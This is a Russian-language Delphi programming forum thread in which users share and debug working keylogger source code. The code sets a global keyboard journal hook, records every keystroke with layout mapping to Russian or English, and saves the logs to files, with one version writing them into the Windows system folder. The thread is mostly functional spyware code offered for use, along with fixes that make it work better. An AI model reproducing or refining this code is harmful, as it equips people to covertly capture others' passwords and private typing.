клавиатурный шпион - Общие вопросы Delphi

sisofcase · 22.10.2009, 19:21

Здравствуйте, такая проблема:

На форуме нашел исходник key loger'a

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Memo2: TMemo;
    Timer1: TTimer;
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  h:hhook;
  N_char: byte;
  c: array[0..255] of char;
  rus: array[0..25] of char = ('ф','и','с','в','у','а','п','р','ш','о','л','д',
                               'ь','т','щ','з','й','к','ы','е','г','м','ц','ч','н','я');

implementation

{$R *.dfm}

function Proc(code:integer; wParam:WPARAM; lParam:LPARAM):lresult;stdcall;
var
 i,j: byte;
 nScan: integer;

begin
  if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then
  begin
    nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
    nscan:=nscan shl 16;
    GetKeyNameText(nScan,c,256);
    Inc(N_char);
    with Form1 do
    begin
      if N_char = 40 then  // длина строки - 40 знаков
      begin
        Memo1.lines.Text:= Memo1.lines.Text + #10#13;  // перевод строки
        Memo2.lines.Text:= Memo2.lines.Text + #10#13;
        N_char:= 0;
      end;
      if ord(c[1]) > 0 then  // признак служебных клавиш
      begin
        Memo1.lines.Text:= Memo1.lines.Text + ' ' + c + ' ';  // служебные клавиши
        Memo2.lines.Text:= Memo2.lines.Text + ' ' + c + ' ';  // выделяем пробелом
      end
      else
      begin
        if ord(c[0]) in [65..90] then // диапазон клавиш с англ. символами
        begin
            for i:= 65 to 90 do
          begin
            if ord(c[0]) = i then begin j:= i - 65; BREAK; end;
          end;
          Memo1.lines.Text:= Memo1.lines.Text  + rus[j] // замена англ. симв. на русские
        end
        else Memo1.lines.Text:= Memo1.lines.Text + c;  // англ. символы
        Memo2.lines.Text:= Memo2.lines.Text + c;
      end;
        Memo1.lines.SaveToFile('C:\log_rus.txt');
        Memo2.lines.SaveToFile('C:\log_en.txt');
        { рекомендуется для всегда существующего пути к файлам указывать ('C:\log.txt)
         или же путь к папке с проектом}
    end;
    result:=callnexthookex(h,code,wparam,lparam);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
  Memo1.lines.Text:= FormatDateTime('c',Now);
  Memo2.lines.Text:= FormatDateTime('c',Now);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
   unhookwindowshookex(h);
end;
end.

все работает отлично, только вот при попытке изменить раскладку путем crtl+shift не получается, подскажите что необходимо подправить что бы решить эту проблему.

спасибо.

DeKot · 22.10.2009, 19:49

Код:

procedure TForm1.Timer1Timer(Sender: TObject); // автоматич. определение раскладки клавиатуры
begin
  if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  lang:= true  //раскладка английская
  else
  lang:= false; //раскладка НЕанглийская, например 68748313 соответствует русской
end;

sisofcase · 22.10.2009, 19:58

Цитата:

Сообщение от DeKot

Код:

procedure TForm1.Timer1Timer(Sender: TObject); // автоматич. определение раскладки клавиатуры
begin
  if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
  lang:= true  //раскладка английская
  else
  lang:= false; //раскладка НЕанглийская, например 68748313 соответствует русской
end;

т.е

Код:

procedure TForm1.Timer1Timer(Sender: TObject);
var
Layout: array [0.. KL_NAMELENGTH] of char;
begin
if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE)
else
LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE);
end;
end.

?

работает только когда приложение активно..

DeKot · 23.10.2009, 09:32

Используйте следующим образом

Код:

procedure CreateFile;  //  создадим пустой файл
var f: TextFile;
begin
  AssignFile(f,'C:\WINDOWS\log'+ FormatDateTime('d',Now) + '-' + FormatDateTime('m',Now) + '-' + FormatDateTime('h',Now) + '.txt');
  ReWrite(f);
  Write(f,'0');
  CloseFile(f);
end;

function Proc(code:integer; wParam:WPARAM; lParam:LPARAM):lresult;stdcall;
var
 i,j: byte;
 nScan: integer;

begin
  if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then
  begin
    nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
    nscan:=nscan shl 16;
    GetKeyNameText(nScan,c,256);
    Inc(N_char);
    with Form1 do
    begin
      if N_char = 30 then  // длина строки - 30 знаков
      begin
        Memo1.lines.Text:= Memo1.lines.Text + #13;  // перевод строки
        N_char:= 0;
      end;
      if ord(c[1]) > 0 then  // признак служебных клавиш
      begin
        Memo1.lines.Text:= Memo1.lines.Text + ' ' + c + ' ';  // служебные клавиши выделяем пробелом
      end
      else
      begin
        if lang = false then // русская раскладка
        begin
          if ord(c[0]) in [65..90] then // диапазон клавиш с англ. символами
          begin
            for i:= 65 to 90 do
            begin
              if ord(c[0]) = i then begin j:= i - 65; BREAK; end;
            end;
            Memo1.lines.Text:= Memo1.lines.Text  + rus[j] // замена англ. симв. на русские
          end
          else Memo1.lines.Text:= Memo1.lines.Text + c; // рус.символы 'ъ,х,э,ж,ю,б,ё'
        end
        else  // английская раскладка
        begin
          Memo1.lines.Text:= Memo1.lines.Text + c;  // латин.символы при англ. раскладке
        end;
      end;
       Memo1.lines.SaveToFile('C:\WINDOWS\log'+ FormatDateTime('d',Now) + '-' + FormatDateTime('m',Now) + '-' + FormatDateTime('h',Now) + '.txt');
       Caption:= IntToStr(ord(c[0]));
    end;
    result:=callnexthookex(h,code,wparam,lparam);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
  Memo1.lines.Text:= FormatDateTime('c',Now);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  unhookwindowshookex(h);
end;

Все в одном файле с разделением на русский и английский текст и выделением служебных клавиш.
Глобальные переменные:

Код:

 h:hhook;
  N_char: byte;
  Lang: boolean;
  c: array[0..255] of char;
  rus: array[0..25] of char = ('ф','и','с','в','у','а','п','р','ш','о','л','д',
                               'ь','т','щ','з','й','к','ы','е','г','м','ц','ч','н','я');

sisofcase · 23.10.2009, 11:45

DeKot, спасибо все работает, но изначально у меня другая проблема, после запуска данного приложения, переключить язык с русского на английский и обратно путем ctrl+shift или alt+shift не получается. Можно исключить наблюдения за служебными клавишами?

DeKot · 23.10.2009, 13:21

Система не различает понятий служебные или не служебные клавиши.Хук отлавливает нажатие любой клавиши и определяет код нажатой клавиши. Вы можете программно исключить реакцию программы на какие либо клавиши, но отменить сообщение от хука невозможно.
Работа хуков никоим образом на реакцию системы на нажатие клавиш не влияет.Причина в чем то другом.Ищите в настройках системы.
В Винде иногда наблюдал следующее - если нет объекта, в котором можно менять текст - изменение раскладки не действует. Проверить просто - запустите кейлоггер и еще откройте любой текстовый файл и работайте с этим файлом.Проверяйте изменение раскладки.

xaker26 · 20.06.2011, 17:55

Цитата:

Сообщение от DeKot

Используйте следующим образом

Код:

procedure CreateFile;  //  создадим пустой файл
var f: TextFile;
begin
  AssignFile(f,'C:\WINDOWS\log'+ FormatDateTime('d',Now) + '-' + FormatDateTime('m',Now) + '-' + FormatDateTime('h',Now) + '.txt');
  ReWrite(f);
  Write(f,'0');
  CloseFile(f);
end;

function Proc(code:integer; wParam:WPARAM; lParam:LPARAM):lresult;stdcall;
var
 i,j: byte;
 nScan: integer;

begin
  if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then
  begin
    nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
    nscan:=nscan shl 16;
    GetKeyNameText(nScan,c,256);
    Inc(N_char);
    with Form1 do
    begin
      if N_char = 30 then  // длина строки - 30 знаков
      begin
        Memo1.lines.Text:= Memo1.lines.Text + #13;  // перевод строки
        N_char:= 0;
      end;
      if ord(c[1]) > 0 then  // признак служебных клавиш
      begin
        Memo1.lines.Text:= Memo1.lines.Text + ' ' + c + ' ';  // служебные клавиши выделяем пробелом
      end
      else
      begin
        if lang = false then // русская раскладка
        begin
          if ord(c[0]) in [65..90] then // диапазон клавиш с англ. символами
          begin
            for i:= 65 to 90 do
            begin
              if ord(c[0]) = i then begin j:= i - 65; BREAK; end;
            end;
            Memo1.lines.Text:= Memo1.lines.Text  + rus[j] // замена англ. симв. на русские
          end
          else Memo1.lines.Text:= Memo1.lines.Text + c; // рус.символы 'ъ,х,э,ж,ю,б,ё'
        end
        else  // английская раскладка
        begin
          Memo1.lines.Text:= Memo1.lines.Text + c;  // латин.символы при англ. раскладке
        end;
      end;
       Memo1.lines.SaveToFile('C:\WINDOWS\log'+ FormatDateTime('d',Now) + '-' + FormatDateTime('m',Now) + '-' + FormatDateTime('h',Now) + '.txt');
       Caption:= IntToStr(ord(c[0]));
    end;
    result:=callnexthookex(h,code,wparam,lparam);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
  Memo1.lines.Text:= FormatDateTime('c',Now);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  unhookwindowshookex(h);
end;

Все в одном файле с разделением на русский и английский текст и выделением служебных клавиш.
Глобальные переменные:

Код:

 h:hhook;
  N_char: byte;
  Lang: boolean;
  c: array[0..255] of char;
  rus: array[0..25] of char = ('ф','и','с','в','у','а','п','р','ш','о','л','д',
                               'ь','т','щ','з','й','к','ы','е','г','м','ц','ч','н','я');

А у меня что-то Английский лог не пишит только русский хотя всё так же как Вы сделал в общем такая же проблема как и у sisofcase (((

23.10.2009, 13:21	#6
DeKot Участник клуба Регистрация: 12.08.2008 Сообщений: 1,977	Система не различает понятий служебные или не служебные клавиши.Хук отлавливает нажатие любой клавиши и определяет код нажатой клавиши. Вы можете программно исключить реакцию программы на какие либо клавиши, но отменить сообщение от хука невозможно. Работа хуков никоим образом на реакцию системы на нажатие клавиш не влияет.Причина в чем то другом.Ищите в настройках системы. В Винде иногда наблюдал следующее - если нет объекта, в котором можно менять текст - изменение раскладки не действует. Проверить просто - запустите кейлоггер и еще откройте любой текстовый файл и работайте с этим файлом.Проверяйте изменение раскладки. И не сомневайся даже ... отдых - кайф, работа - лажа!

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
keylogger-клавиатурный шпион	betirsolt	Win Api	59	04.08.2011 10:40
Клавиатурный тренажёр	готика	Общие вопросы Delphi	2	09.11.2008 00:38
обновление в блоге - Клавиатурный шпион.	Pblog	Обсуждение статей	0	27.05.2007 03:17
Клавиатурный тренажёр	radist	Помощь студентам	1	23.04.2007 22:07

23.10.2009, 11:45	#5
sisofcase Пользователь Регистрация: 13.07.2009 Сообщений: 22	DeKot, спасибо все работает, но изначально у меня другая проблема, после запуска данного приложения, переключить язык с русского на английский и обратно путем ctrl+shift или alt+shift не получается. Можно исключить наблюдения за служебными клавишами?